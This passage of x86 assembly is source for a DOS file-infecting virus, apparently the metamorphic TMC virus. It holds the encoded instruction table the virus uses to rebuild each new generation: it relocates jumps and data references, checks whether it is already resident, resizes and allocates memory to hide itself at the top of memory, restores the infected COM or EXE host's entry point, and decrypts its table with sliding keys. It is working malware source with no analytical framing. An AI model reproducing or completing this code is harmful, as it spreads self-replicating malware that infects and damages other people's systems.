block dw 0bc2h ; Block identification of exam_bl__ db 02h ; Two bytes instruction cmp al,11101111b ; End of block? db 01110100b+10000000b ; Equal? Jump to end_of_bloc dw 0bc9h ; Pointer to end_of_bloc db 02h ; Two bytes instruction cmp al,11101000b ; CALL; JMP; Data reference; Jcc? db 01110011b+10000000b ; Above or equal? Jump to exam_data_ dw 0bc4h ; Pointer to exam_data_ db 02h ; Two bytes instruction cmp al,10h ; Data? db 01110110b+10000000b ; Below or equal? Jump to sto_instruc dw 0bc3h ; Pointer to sto_instruc db 02h ; Two bytes instruction sub al,10h ; AL = length of data db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc3h ; Pointer to sto_instruc db 11101111b ; End of block sto_instruc db 11101110b ; Beginning of block dw 0bc3h ; Block identification of sto_instruc db 02h ; Two bytes instruction xor cx,cx ; Zero CX db 02h ; Two bytes instruction mov cl,al ; CL = length of instruction db 01h ; One byte instruction push di ; Save DI at stack db 02h ; Two bytes instruction mov di,bx ; DI = offset within next virus ge... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0beah ; Pointer to sto_ins_loo db 11101111b ; End of block sto_ins_loo db 11101110b ; Beginning of block dw 0beah ; Block identification of sto_ins_loo db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 01h ; One byte instruction stosb ; Store byte of instruction db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to sto_ins_loo dw 0beah ; Pointer to sto_ins_loo db 02h ; Two bytes instruction mov bx,di ; BX = offset within next virus ge... db 01h ; One byte instruction pop di ; Load DI from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc1h ; Pointer to exam_bl_ db 11101111b ; End of block exam_data_ db 11101110b ; Beginning of block dw 0bc4h ; Block identification of exam_data_ db 02h ; Two bytes instruction cmp al,11101101b ; Data reference? db 01110101b+10000000b ; Not equal? Jump to exam_bl___ dw 0bc5h ; Pointer to exam_bl___ db 01h ; One byte instruction push di ; Load DI from stack db 05h ; Five bytes instruction mov di,es:[08h] ; DI = offset within data information db 02h ; Two bytes instruction mov ax,bx ; AX = offset within next virus ge... db 01h ; One byte instruction dec ax ; Decrease offset within next viru... db 01h ; One byte instruction dec ax ; Decrease offset within next viru... db 01h ; One byte instruction stosw ; Store offset within next virus g... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be1h ; Pointer to decrypt_id_ db 01h ; One byte instruction stosw ; Store block identification db 05h ; Five bytes instruction mov es:[08h],di ; Store offset within data informa... db 01h ; One byte instruction pop di ; Load DI from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc1h ; Pointer to exam_bl_ db 11101111b ; End of block exam_bl___ db 11101110b ; Beginning of block dw 0bc5h ; Block identification of exam_bl___ db 02h ; Two bytes instruction cmp al,11101110b ; Beginning of block? db 01110101b+10000000b ; Not equal? Jump to sto_call_jm_ dw 0bc7h ; Pointer to sto_call_jm_ db 01h ; One byte instruction push di ; Save DI at stack db 05h ; Five bytes instruction mov di,es:[04h] ; DI = offset within block informa... db 02h ; Two bytes instruction mov ax,bx ; AX = offset within next virus ge... db 01h ; One byte instruction stosw ; Store offset within next virus ge... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be1h ; Pointer to decrypt_id_ db 01h ; One byte instruction stosw ; Store block identification db 05h ; Five bytes instruction mov es:[04h],di ; Store offset within block inform... db 03h ; Three bytes instruction cmp ax,4c5h ; Block identification of tmc_table_? db 01110101b+10000000b ; Not equal? Jump to exam_messag dw 0bc6h ; Pointer to exam_messag db 01h ; One byte instruction push si ; Save SI at stack db 02h ; Two bytes instruction mov di,bx ; DI = offset within next virus ge... db 04h ; Four bytes instruction lea si,[bp+1234h] ; SI = offset of tmc_table_ db 11101101b ; Data reference dw 4c5h ; Pointer to tmc_table_ db 03h ; Three bytes instruction mov cx,(table_end-table_begin) db 02h ; Two bytes instruction rep movsb ; Move table to top of memory db 02h ; Two bytes instruction mov bx,di ; BX = offset within next virus ge... db 01h ; One byte instruction pop si ; Load SI from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bebh ; Pointer to examine_nex db 11101111b ; End of block exam_messag db 11101110b ; Beginning of block dw 0bc6h ; Block identification of exam_messag db 03h ; Three bytes instruction cmp ax,2328h ; Block identification of message? db 01110101b+10000000b ; Not equal? Jump to exam_probab dw 0bedh ; Pointer to exam_probab db 03h ; Three bytes instruction mov ax,14h ; Probability of including message db 04h ; Four bytes instruction cmp [bp+1234h],ax ; Include message? db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 01110011b+10000000b ; Above or equal? Jump to examine_... dw 0bebh ; Pointer to examine_nex db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction sub al,10h ; AL = length of message db 02h ; Two bytes instruction mov ah,00h ; Zero AH db 02h ; Two bytes instruction add si,ax ; SI = offset of end of message db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bebh ; Pointer to examine_nex db 11101111b ; End of block exam_probab db 11101110b ; Beginning of block dw 0bedh ; Block identification of exam_probab db 03h ; Three bytes instruction cmp ax,0bech ; Block identification of probabi...? db 01110101b+10000000b ; Not equal? Jump to examine_nex dw 0bebh ; Pointer to examine_nex db 04h ; Four bytes instruction mov ax,[bp+1234h] ; AX = probability_ db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 01h ; One byte instruction dec ax ; Decrease probability db 03h ; Three bytes instruction cmp ax,05h ; Probability too small? db 01110011b+10000000b ; Above or equal? Jump to store_pr... dw 0bf5h ; Pointer to store_proba db 03h ; Three bytes instruction mov ax,64h ; Reset probability db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bf5h ; Pointer to store_proba db 11101111b ; End of block store_proba db 11101110b ; Beginning of block dw 0bf5h ; Block identification of store_proba db 03h ; Three bytes instruction mov es:[bx],ax ; Store probability db 03h ; Three bytes instruction add bx,02h ; Add two to offset within next vi... db 03h ; Three bytes instruction add si,03h ; SI = offset of beginning of next... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bebh ; Pointer to examine_nex db 11101111b ; End of block examine_nex db 11101110b ; Beginning of block dw 0bebh ; Block identification of examine_nex db 01h ; One byte instruction pop di ; Load DI from stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc2h ; Pointer to exam_bl__ db 11101111b ; End of block sto_call_jm_ db 11101110b ; Beginning of block dw 0bc7h ; Block identification of sto_call... db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push di ; Save DI at stack db 05h ; Five bytes instruction mov di,es:[06h] ; DI = offset within CALL; JMP; Jc... db 02h ; Two bytes instruction mov ax,bx ; AX = offset within next virus ge... db 01h ; One byte instruction stosw ; Store offset within next virus g... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be1h ; Pointer to decrypt_id_ db 01h ; One byte instruction stosw ; Store block identification db 05h ; Five bytes instruction mov es:[06h],di ; Store offset within CALL; JMP; J... db 01h ; One byte instruction pop di ; Load DI from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 03h ; Three bytes instruction mov es:[bx],al ; Store CALL imm16; JMP imm16; Jcc... db 03h ; Three bytes instruction add bx,03h ; Add three to offset within next ... db 02h ; Two bytes instruction cmp al,11110000b ; Jump condition? db 01110010b+10000000b ; Below? Jump to exam_bl_ dw 0bc1h ; Pointer to exam_bl_ db 01h ; One byte instruction inc bx ; Increase offset within next viru... db 01h ; One byte instruction inc bx ; Increase offset within next viru... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc1h ; Pointer to exam_bl_ db 11101111b ; End of block split_bloc_ db 11101110b ; Beginning of block dw 0bc8h ; Block identification of split_bloc_ db 04h ; Four bytes instruction mov es:[di+02h],bx ; Store offset within next virus g... db 03h ; Three bytes instruction add bx,03h ; Add three to offset within next ... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc9h ; Pointer to end_of_bloc db 11101111b ; End of block end_of_bloc db 11101110b ; Beginning of block dw 0bc9h ; Block identification of end_of_bloc db 01h ; One byte instruction dec si ; Decrease offset of block within ... db 03h ; Three bytes instruction mov es:[di],si ; Store offset of block within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bbdh ; Pointer to of split_bloc db 11101111b ; End of block exam_tbl_in db 11101110b ; Beginning of block dw 0bcah ; Block identification of exam_tbl_in db 06h ; Six bytes instruction cmp word ptr es:[0ch],00h db 01110101b+10000000b ; End of second table? Jump to cor... dw 0fa1h ; Pointer to correc_i16 db 01h ; One byte instruction pop si ; Load SI from stack db 05h ; Five bytes instruction mov es:[0ch],bx ; Store offset within next virus g... db 04h ; Four bytes instruction add si,(second_table-first_table) db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fa0h ; Pointer to initial_tmc db 11101111b ; End of block correc_i16 db 11101110b ; Beginning of block dw 0fa1h ; Block identification of correc_i16 db 01h ; One byte instruction push es ; Save ES at stack db 01h ; One byte instruction pop ds ; Load DS from stack (ES) db 04h ; Four bytes instruction sub bx,730h ; Subtract offset of next virus ge... db 04h ; Four bytes instruction mov ds:[0eh],bx ; Store length of virus db 03h ; Three bytes instruction mov si,2c8h ; SI = offset of CALL; JMP; Jcc im... db 04h ; Four bytes instruction mov cx,ds:[06h] ; CX = offset of end of CALL; JMP;... db 02h ; Two bytes instruction sub cx,si ; Subtract offset of CALL; JMP; Jc... db 02h ; Two bytes instruction shr cx,01h ; Divide number of CALL imm16; JMP... db 02h ; Two bytes instruction shr cx,01h ; Divide number of CALL imm16; JMP... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bcbh ; Pointer to jmp_call_lo db 11101111b ; End of block jmp_call_lo db 11101110b ; Beginning of block dw 0bcbh ; Block identification of jmp_call_lo db 01h ; One byte instruction lodsw ; AX = offset of block within data... db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction lodsw ; AX = offset of block within data... db 01h ; One byte instruction push cx ; Save CX at stack db 01h ; One byte instruction push si ; Save SI at stack db 03h ; Three bytes instruction mov si,118h ; SI = offset of block information db 04h ; Four bytes instruction mov cx,ds:[04h] ; CX = offset of end of block info... db 02h ; Two bytes instruction sub cx,si ; Subtract offset of block informa... db 02h ; Two bytes instruction shr cx,01h ; Divide number of block by two db 02h ; Two bytes instruction shr cx,01h ; Divide number of block by two db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bcch ; Pointer to find_block__ db 11101111b ; End of block find_block__ db 11101110b ; Beginning of block dw 0bcch ; Block identification of find_blo... db 03h ; Three bytes instruction cmp ax,[si+02h] ; Found block? db 01110100b+10000000b ; Equal? Jump to found_bloc dw 0bcdh ; Pointer to found_bloc db 03h ; Three bytes instruction add si,04h ; SI = offset of next block in table db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to find_block__ dw 0bcch ; Pointer to find_block__ db 11101111b ; End of block found_bloc db 11101110b ; Beginning of block dw 0bcdh ; Block identification of found_bloc db 02h ; Two bytes instruction mov dx,[si] ; DX = offset of block db 01h ; One byte instruction pop si ; Load SI from stack db 01h ; One byte instruction pop cx ; Load CX from stack db 01h ; One byte instruction pop bx ; Load BX from stack (AX) db 02h ; Two bytes instruction mov al,[bx] ; AL = first byte of instruction db 02h ; Two bytes instruction cmp al,11110000b ; Jump condition? db 01110010b+10000000b ; Below? Jump to sto_call_j dw 0bcfh ; Pointer to sto_call_j db 03h ; Three bytes instruction sub byte ptr [bx],10000000b db 01h ; One byte instruction inc bx ; BX = offset of 8-bit immediate db 01h ; One byte instruction push dx ; Save DX at stack db 02h ; Two bytes instruction sub dx,bx ; Subtract offset within next viru... db 01h ; One byte instruction dec dx ; Decrease 8-bit immediate db 03h ; Three bytes instruction cmp dx,7fh ; 8-bit immediate out of range? db 01111111b+10000000b ; Greater? Jump to invert_jcc_ dw 0bceh ; Pointer to invert_jcc_ db 03h ; Three bytes instruction cmp dx,0ff80h ; 8-bit immediate out of range? db 01111100b+10000000b ; Less? Jump to invert_jcc_ dw 0bceh ; Pointer to invert_jcc_ db 02h ; Two bytes instruction mov [bx],dl ; Store 8-bit immediate db 01h ; One byte instruction inc bx ; BX = offset of end of Jcc imm8 db 04h ; Four bytes instruction mov [bx],1001000010010000b db 04h ; Four bytes instruction mov byte ptr [bx+02h],10010000b db 01h ; One byte instruction pop dx ; Load DX from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bd0h ; Pointer to correc_i16_ db 11101111b ; End of block invert_jcc_ db 11101110b ; Beginning of block dw 0bceh ; Block identification of invert_jcc_ db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction dec bx ; BX = offset of Jcc imm8 db 03h ; Three bytes instruction xor byte ptr [bx],00000001b db 01h ; One byte instruction inc bx ; BX = offset of 8-bit immediate db 03h ; Three bytes instruction mov byte ptr [bx],03h ; Store 8-bit immediate db 01h ; One byte instruction inc bx ; BX = offset of JMP imm16 db 02h ; Two bytes instruction mov al,11101001b ; JMP imm16 (opcode 0e9h) db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bcfh ; Pointer to sto_call_j db 11101111b ; End of block sto_call_j db 11101110b ; Beginning of block dw 0bcfh ; Block identification of sto_call_j db 02h ; Two bytes instruction mov [bx],al ; Store CALL imm16; JMP imm16 db 01h ; One byte instruction inc bx ; BX = offset of 16-bit immediate db 02h ; Two bytes instruction sub dx,bx ; Subtract offset within next viru... db 01h ; One byte instruction dec dx ; Decrease 16-bit immediate db 01h ; One byte instruction dec dx ; Decrease 16-bit immediate db 02h ; Two bytes instruction mov [bx],dx ; Store 16-bit immediate db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bd0h ; Pointer to correc_i16_ db 11101111b ; End of block correc_i16_ db 11101110b ; Beginning of block dw 0bd0h ; Block identification of correc_16_ db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to jmp_call_lo dw 0bcbh ; Pointer to jmp_call_lo db 03h ; Three bytes instruction mov si,5a8h ; SI = offset of data information db 04h ; Four bytes instruction mov cx,ds:[08h] ; CX = offset of end of data infor... db 02h ; Two bytes instruction sub cx,si ; Subtract offset of data informat... db 02h ; Two bytes instruction shr cx,01h ; Divide number of data references... db 02h ; Two bytes instruction shr cx,01h ; Divide number of data references... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bd1h ; Pointer to data_ref_lo db 11101111b ; End of block data_ref_lo db 11101110b ; Beginning of block dw 0bd1h ; Block identification of data_ref_lo db 01h ; One byte instruction lodsw ; AX = offset of block within data... db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction lodsw ; AX = offset of block within data... db 01h ; One byte instruction push cx ; Save CX at stack db 01h ; One byte instruction push si ; Save SI at stack db 03h ; Three bytes instruction mov si,118h ; SI = offset of block information db 04h ; Four bytes instruction mov cx,ds:[04h] ; CX = offset of end of block info... db 02h ; Two bytes instruction sub cx,si ; Subtract offset of block informa... db 02h ; Two bytes instruction shr cx,01h ; Divide number of block by two db 02h ; Two bytes instruction shr cx,01h ; Divide number of block by two db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bd2h ; Pointer to find_bloc db 11101111b ; End of block find_bloc db 11101110b ; Beginning of block dw 0bd2h ; Block identification to find_bloc db 03h ; Three bytes instruction cmp ax,[si+02h] ; Found block? db 01110100b+10000000b ; Equal? Jump to found_bloc_ dw 0bd3h ; Pointer to found_bloc_ db 03h ; Three bytes instruction add si,04h ; SI = offset of next block in table db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to find_bloc dw 0bd2h ; Pointer to find_bloc db 11101111b ; End of block found_bloc_ db 11101110b ; Beginning of block dw 0bd3h ; Block identification of found_bloc_ db 02h ; Two bytes instruction mov ax,[si] ; AX = offset of block db 01h ; One byte instruction pop si ; Load SI from stack db 01h ; One byte instruction pop cx ; Load CX from stack db 01h ; One byte instruction pop bx ; Load BX from stack (AX) db 03h ; Three bytes instruction sub ax,730h ; Subtract offset of next virus ge... db 02h ; Two bytes instruction mov [bx],ax ; Store 16-bit immediate db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to data_ref_lo dw 0bd1h ; Pointer to data_ref_lo db 11101001b ; JMP imm16 (opcode 0e9h) dw 1772h ; Pointer to restore_cod db 11101111b ; End of block restore_cod db 11101110b ; Beginning of block dw 1772h ; Block identification of restore_cod db 04h ; Four bytes instruction mov ax,[bp+1234h] ; AX = segment of PSP for current ... db 11101101b ; Data reference dw 0befh ; Pointer to program_seg_ db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = initial SS relative to star... db 11101101b ; Data reference dw 138ah ; Pointer to initial_ss_ db 03h ; Three bytes instruction add cx,10h ; Add ten to initial SS relative t... db 02h ; Two bytes instruction add cx,ax ; Add segment of PSP for current p... db 01h ; One byte instruction push cx ; Save CX at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save initial SP at stack db 11101101b ; Data reference dw 138ch ; Pointer to initial_sp_ db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = initial CS relative to star... db 11101101b ; Data reference dw 1389h ; Pointer to initial_cs_ db 03h ; Three bytes instruction add cx,10h ; Add ten to initial CS relative t... db 02h ; Two bytes instruction add cx,ax ; Add segment of PSP for current p... db 01h ; One byte instruction push cx ; Save CX at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save initial IP at stack db 11101101b ; Data reference dw 138bh ; Pointer to initial_ip_ db 01h ; One byte instruction push ax ; Save segment of PSP for current ... db 04h ; Four bytes instruction push [bp+1234h] ; Save size of memory block in par... db 11101101b ; Data reference dw 1395h ; Pointer to mcb_size__ db 01h ; One byte instruction push ds ; Save DS at stack db 02h ; Two bytes instruction mov cl,00h ; COM executable db 04h ; Four bytes instruction cmp [bp+1234h],cl ; COM executable? db 11101101b ; Data reference dw 1388h ; Pointer to executa_sta db 01110101b+10000000b ; Not equal? Jump to move_virus__ dw 1390h ; Pointer to move_virus__ db 04h ; Four bytes instruction lea si,[bp+1234h] ; SI = offset of origin_code_ db 11101101b ; Data reference dw 1f40h ; Pointer to origin_code_ db 03h ; Three bytes instruction mov ax,cs:[si] ; AX = first two bytes of original... db 04h ; Four bytes instruction mov cs:[100h],ax ; Store first two bytes of origina... db 04h ; Four bytes instruction mov al,cs:[si+02h] ; AL = last byte of original code ... db 04h ; Four bytes instruction mov cs:[100h+02h],al ; Store last byte of original code... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1390h ; Pointer to move_virus__ db 11101111b ; End of block db 11101110b ; Beginning of block dw 1774h db 04h ; Four bytes instruction mov ax,[bp+1234h] ; AX = segment of PSP for current ... db 11101101b ; Data reference dw 0befh ; Pointer to program_seg_ db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = initial SS relative to star... db 11101101b ; Data reference dw 138ah ; Pointer to initial_ss_ db 03h ; Three bytes instruction add cx,10h ; Add ten to initial SS relative t... db 02h ; Two bytes instruction add cx,ax ; Add segment of PSP for current p... db 01h ; One byte instruction push cx ; Save CX at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save initial SP at stack db 11101101b ; Data reference dw 138ch ; Pointer to initial_sp_ db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = initial CS relative to star... db 11101101b ; Data reference dw 1389h ; Pointer to initial_cs_ db 03h ; Three bytes instruction add cx,10h ; Add ten to initial CS relative t... db 02h ; Two bytes instruction add cx,ax ; Add segment of PSP for current p... db 01h ; One byte instruction push cx ; Save CX at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save incorrect IP at stack db 11101101b ; Data reference dw 1773h ; Pointer to incorrec_ip db 01h ; One byte instruction push ax ; Save segment of PSP for current ... db 04h ; Four bytes instruction push [bp+1234h] ; Save size of memory block in par... db 11101101b ; Data reference dw 1395h ; Pointer to mcb_size__ db 01h ; One byte instruction push ds ; Save DS at stack db 02h ; Two bytes instruction mov cl,00h ; COM executable db 04h ; Four bytes instruction cmp [bp+1234h],cl ; COM executable? db 11101101b ; Data reference dw 1388h ; Pointer to executa_sta db 01110101b+10000000b ; Not equal? Jump to move_virus__ dw 1390h ; Pointer to move_virus__ db 04h ; Four bytes instruction lea si,[bp+1234h] ; SI = offset of incorr_code_ db 11101101b ; Data reference dw 1776h ; Pointer to incorr_code_ db 03h ; Three bytes instruction mov ax,cs:[si] ; AX = first two bytes of incorrec... db 04h ; Four bytes instruction mov cs:[100h],ax ; Store first two bytes of incorre... db 04h ; Four bytes instruction mov al,cs:[si+02h] ; AL = last byte of incorrect code db 04h ; Four bytes instruction mov cs:[100h+02h],al ; Store last byte of incorrect code db 11101001b ; JMP imm16 (opcode 0e9h) dw 1390h ; Pointer to move_virus__ db 11101111b ; End of block move_virus__ db 11101110b ; Beginning of block dw 1390h ; Block identification of move_vir... db 02h ; Two bytes instruction xor ax,ax ; Zero AX db 02h ; Two bytes instruction mov ds,ax ; DS = segment of DOS communicatio... db 05h ; Five bytes instruction cmp byte ptr ds:[501h],10h db 01110100b+10000000b ; Already resident? Jump to virus_... dw 65h ; Pointer to virus_exit_ db 05h ; Five bytes instruction mov byte ptr ds:[501h],10h db 01h ; One byte instruction push es ; Save ES at stack db 01h ; One byte instruction pop ds ; Load DS from stack (ES) db 03h ; Three bytes instruction mov ax,ds:[0ch] ; AX = offset within next virus ge... db 03h ; Three bytes instruction sub ax,730h ; Subtract offset of next virus ge... db 04h ; Four bytes instruction mov [bp+1234h],ax ; Store offset of virus_exit db 11101101b ; Data reference dw 0bf1h ; Pointer to vir_exit_of db 04h ; Four bytes instruction mov cx,ds:[0eh] ; CX = length of virus db 04h ; Four bytes instruction mov [bp+1234h],cx ; Store length of virus db 11101101b ; Data reference dw 0bf0h ; Pointer to virus_lengt db 03h ; Three bytes instruction mov si,730h ; SI = offset of next virus genera... db 02h ; Two bytes instruction xor di,di ; Zero DI db 02h ; Two bytes instruction rep movsb ; Move virus to top of memory db 02h ; Two bytes instruction mov cl,04h ; Divide by paragraphs db 02h ; Two bytes instruction shr di,cl ; DI = length of next virus genera... db 01h ; One byte instruction inc di ; Increase length of next virus ge... db 04h ; Four bytes instruction mov bx,[bp+1234h] ; BX = size of memory block in par... db 11101101b ; Data reference dw 1394h ; Pointer to mcb_size___ db 04h ; Four bytes instruction sub bx,[bp+1234h] ; Subtract new size in paragraphs ... db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 02h ; Two bytes instruction sub bx,di ; Subtract length of next virus ge... db 01h ; One byte instruction dec bx ; Decrease new size in paragraphs db 01h ; One byte instruction dec bx ; Decrease new size in paragraphs db 02h ; Two bytes instruction cmp bx,di ; Insufficient memory? db 01110010b+10000000b ; Below? Jump to virus_exit_ dw 65h ; Pointer to virus_exit_ db 02h ; Two bytes instruction mov ah,4ah ; Resize memory block db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to virus_exit_ dw 65h ; Pointer to virus_exit_ db 02h ; Two bytes instruction mov bx,di ; BX = number of paragraphs to all... db 02h ; Two bytes instruction mov ah,48h ; Allocate memory db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to virus_exit_ dw 65h ; Pointer to virus_exit_ db 01h ; One byte instruction dec ax ; AX = segment of current Memory C... db 02h ; Two bytes instruction mov es,ax ; ES = segment of current Memory C... db 07h ; Seven bytes instruction mov word ptr es:[01h],08h db 01h ; One byte instruction inc ax ; AX = segment of PSP for current ... db 02h ; Two bytes instruction mov es,ax ; AX = segment of PSP for current ... db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = length of virus db 11101101b ; Data reference dw 0bf0h ; Pointer to virus_lengt db 02h ; Two bytes instruction xor si,si ; Zero SI db 02h ; Two bytes instruction xor di,di ; Zero DI db 02h ; Two bytes instruction rep movsb ; Move virus to top of memory db 01h ; One byte instruction push es ; Save ES at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save offset of virus_exit_ at stack db 11101101b ; Data reference dw 0bf1h ; Pointer to vir_exit_of db 04h ; Four bytes instruction mov al,[bp+1234h] ; AL = 8-bit encryption/decryption... db 11101101b ; Data reference dw 0bd7h ; Pointer to crypt_key_ db 04h ; Four bytes instruction mov ah,[bp+1234h] ; AH = 8-bit sliding encryption/de... db 11101101b ; Data reference dw 0bd8h ; Pointer to sliding_key_ db 01h ; One byte instruction retf ; Return far db 11101111b ; End of block terminate_ db 11101110b ; Beginning of block dw 0beeh ; Block identification of terminate_ db 03h ; Three bytes instruction mov ax,4c00h ; Terminate with return code db 02h ; Two bytes instruction int 21h db 11101111b ; End of block get_rnd_num_ db 11101110b ; Beginning of block dw 0bd4h ; Block identification of get_rnd_... db 01h ; One byte instruction push cx ; Save CX at stack db 02h ; Two bytes instruction in al,40h ; AL = 8-bit random number db 02h ; Two bytes instruction mov ah,al ; AH = 8-bit random number db 02h ; Two bytes instruction in al,40h ; AL = 8-bit random number db 05h ; Five bytes instruction xor ax,es:[02h] ; AX = 16-bit random number db 02h ; Two bytes instruction mov cl,ah ; CL = high-order byte of 16-bit r... db 02h ; Two bytes instruction rol ax,cl ; AX = 16-bit random number db 04h ; Four bytes instruction mov es:[02h],ax ; Store 16-bit random number db 01h ; One byte instruction pop cx ; Load CX from stack db 01h ; One byte instruction ret ; Return db 11101111b ; End of block rnd_in_rang db 11101110b ; Beginning of block dw 0bd5h ; Block identification of rnd_in_rang db 02h ; Two bytes instruction or bp,bp ; Zero BP? db 01110100b+10000000b ; Zero? Jump to zero_range_ dw 0bd6h ; Pointer to zero_range_ db 01h ; One byte instruction push dx ; Save DX at stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd4h ; Pointer to get_rnd_num_ db 02h ; Two bytes instruction xor dx,dx ; Zero DX db 02h ; Two bytes instruction div bp ; DX = random number within range db 01h ; One byte instruction xchg ax,dx ; AX = random number within range db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction ret ; Return db 11101111b ; End of block zero_range_ db 11101110b ; Beginning of block dw 0bd6h ; Block identification of zero_range_ db 02h ; Two bytes instruction xor ax,ax ; AX = random number within range db 01h ; One byte instruction ret ; Return db 11101111b ; End of block decrypt_byt db 11101110b ; Beginning of block dw 0be0h ; Block identification of decrypt_byt db 04h ; Four bytes instruction mov [bp+1234h],ah ; Store AH db 11101101b ; Data reference dw 0bd9h ; Pointer to ah__ db 02h ; Two bytes instruction mov ax,si ; AX = offset within table db 02h ; Two bytes instruction sub ax,bp ; Subtract delta offset from offse... db 03h ; Three bytes instruction sub ax,1234h ; Subtract offset of tmc_table_ fr... db 11101101b ; Data reference dw 4c5h ; Pointer to tmc_table_ db 04h ; Four bytes instruction mul word ptr [bp+1234h] ; AL = 8-bit sliding encryption/de... db 11101101b ; Data reference dw 0bd8h ; Pointer to sliding_key_ db 04h ; Four bytes instruction add al,[bp+1234h] ; AL = 8-bit encryption/decryption... db 11101101b ; Data reference dw 0bd7h ; Pointer to crypt_key_ db 02h ; Two bytes instruction xor al,[si] ; AL = byte of decrypted table db 04h ; Four bytes instruction mov ah,[bp+1234h] ; AH = stored AH db 11101101b ; Data reference dw 0bd9h ; Pointer to ah__ db 01h ; One byte instruction inc si ; Increase offset within table db 01h ; One byte instruction ret ; Return db 11101111b ; End of block decrypt_id_ db 11101110b ; Beginning of block dw 0be1h ; Block identification of decrypt_id_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction mov ah,al ; AL = byte of decrypted table db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction xchg al,ah ; AL = byte of decrypted table db 01h ; One byte instruction ret ; Return db 11101111b ; End of block virus_exit_ db 11101110b ; Beginning of block dw 65h ; Block identification of virus_exit_ db 01h ; One byte instruction pop es ; Load ES from stack db 02h ; Two bytes instruction mov ah,49h ; Free memory db 02h ; Two bytes instruction int 21h db 01h ; One byte instruction pop bx ; Load BX from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 02h ; Two bytes instruction mov ds,ax ; DS = segment of PSP for current ... db 02h ; Two bytes instruction mov es,ax ; DS = segment of PSP for current ... db 02h ; Two bytes instruction mov ah,4ah ; Resize memory block db 02h ; Two bytes instruction int 21h db 04h ; Four bytes instruction lea bx,[bp+1234h] ; BX = offset of jmp_imm32_ db 11101101b ; Data reference dw 1391h ; Pointer of jmp_imm32_ db 01h ; One byte instruction pop ax ; Load AX from stack (initial IP) db 04h ; Four bytes instruction mov cs:[bx+01h],ax ; Store initial IP db 01h ; One byte instruction pop ax ; Load AX from stack (initial CS ...) db 04h ; Four bytes instruction mov cs:[bx+03h],ax ; Store initial CS relative to sta... db 01h ; One byte instruction pop ax ; Load AX from stack (initial SP) db 01h ; One byte instruction pop ss ; Load SS from stack (initial SS ...) db 02h ; Two bytes instruction mov sp,ax ; SP = stack pointer db 11101001b ; JMP imm16 (opcode 0e9h) dw 1391h ; Pointer of jmp_imm32_ db 11101111b ; End of block jmp_imm32_ db 11101110b ; Beginning of block dw 1391h ; Block identification of jmp_imm32_ db 05h+10h ; Five bytes data db 11101010b ; JMP imm32 (opcode 0eah) dd 00h ; Pointer to virus in top of memory db 11101111b ; End of block ah__ db 11101110b ; Beginning of block dw 0bd9h ; Block identification of ah__ db 01h+10h ; One byte data db 00h ; Accumulator register (high-orde...) db 11101111b ; End of block probability_ db 11101110b ; Beginning of block dw 0bech ; Block identification of probabil... db 02h+10h ; Two bytes data dw 32h ; Probability db 11101111b ; End of block crypt_key_ db 11101110b ; Beginning of block dw 0bd7h ; Block identification of crypt_key_ db 01h+10h ; One data byte db 00h ; 8-bit encryption/decryption key db 